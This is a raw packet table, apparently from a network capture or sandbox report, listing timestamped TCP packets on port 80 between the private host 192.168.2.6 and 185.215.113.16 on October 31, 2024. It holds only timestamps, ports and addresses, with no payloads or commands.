Oct 31, 2024 01:18:34.116281033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116292000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116312027 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116337061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116461992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116482973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116493940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116516113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116516113 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116528034 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116592884 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116656065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116703987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116720915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116739988 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116756916 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116791010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116802931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116813898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116835117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116878986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116889954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116913080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116916895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116940022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116950989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116951942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.116961002 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116974115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.116985083 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117008924 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117013931 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117021084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117033005 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117053986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117095947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117108107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117120028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117131948 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117149115 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117151022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117162943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117191076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.117211103 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.117266893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.119721889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.273771048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273802042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273813963 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273849964 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.273899078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273917913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273931026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273935080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.273942947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273957014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273964882 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.273983955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.273996115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274000883 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274008989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274028063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274055004 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274066925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274079084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274091959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274101019 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274105072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274128914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274131060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274142981 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274147034 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274177074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274177074 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274189949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274230957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274236917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274247885 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274260044 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274276972 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274321079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274347067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274358988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274369955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274383068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274388075 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274395943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274416924 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274456978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274467945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274480104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274491072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274511099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274529934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274538994 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274542093 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274554968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274566889 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274566889 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274585009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274604082 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274658918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274708033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274727106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274759054 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274808884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274821997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274833918 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274851084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274852991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274869919 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.274981976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.274992943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275005102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275017977 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275029898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275042057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275060892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275082111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275089025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275096893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275109053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275121927 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275151968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275167942 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275178909 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275190115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275218010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275229931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275235891 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275248051 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275259972 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275270939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275271893 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275293112 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275300026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275309086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275326014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275337934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275338888 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275351048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275355101 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275384903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275396109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275408030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275420904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275428057 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275450945 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275456905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275463104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275475025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275486946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275497913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275499105 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275516987 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275520086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275532961 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275553942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275568962 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275580883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275592089 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275615931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275626898 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275626898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275640965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275650024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275672913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275696993 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.275703907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275755882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275800943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.275855064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.295711994 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.389898062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.389915943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.389929056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.389939070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.389986038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.429830074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429910898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429922104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429938078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429960012 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.429968119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429985046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.429994106 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.429996967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430022001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430051088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430078983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430087090 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430089951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430121899 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430133104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430156946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430167913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430177927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430190086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430200100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430205107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430208921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430213928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430218935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430223942 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430231094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430274010 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430289030 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430291891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430319071 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430325985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430330038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430349112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430360079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430363894 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430371046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430391073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430455923 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430499077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430510998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430521965 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430555105 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430558920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430571079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430603981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430612087 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430629015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430655956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430660963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430668116 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430679083 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430702925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430713892 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430720091 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430725098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430736065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430738926 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430768013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430802107 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430834055 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430872917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430883884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430895090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430906057 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430917025 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430948019 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430952072 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430963993 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430975914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.430999041 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.430999041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431019068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431029081 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431037903 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431045055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431057930 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431087971 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431097984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431108952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431122065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431129932 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431140900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431154966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431160927 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431178093 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431179047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431190968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431209087 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431240082 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431273937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431330919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431343079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431354046 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431365013 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431374073 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431401968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431408882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431431055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431442022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431454897 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431466103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431504011 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431524992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431544065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431606054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431607008 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431617975 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431629896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431641102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431646109 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431653023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431673050 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431780100 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431791067 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431802988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431813002 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431833982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431859970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431885958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431896925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431909084 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.431917906 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431946039 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.431997061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432008982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432019949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432030916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432039022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432043076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432054996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432061911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432068110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432085991 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432138920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432148933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432174921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432199001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432212114 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432245016 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432256937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432276964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432286978 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432296038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432316065 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432383060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432426929 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432450056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432461023 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432475090 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432491064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432507992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432518959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432533026 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432545900 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432558060 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432585001 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432610035 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432621956 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432629108 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:34.432651043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:34.432655096 CET	49797	80	192.168.2.6	185.215.113.16
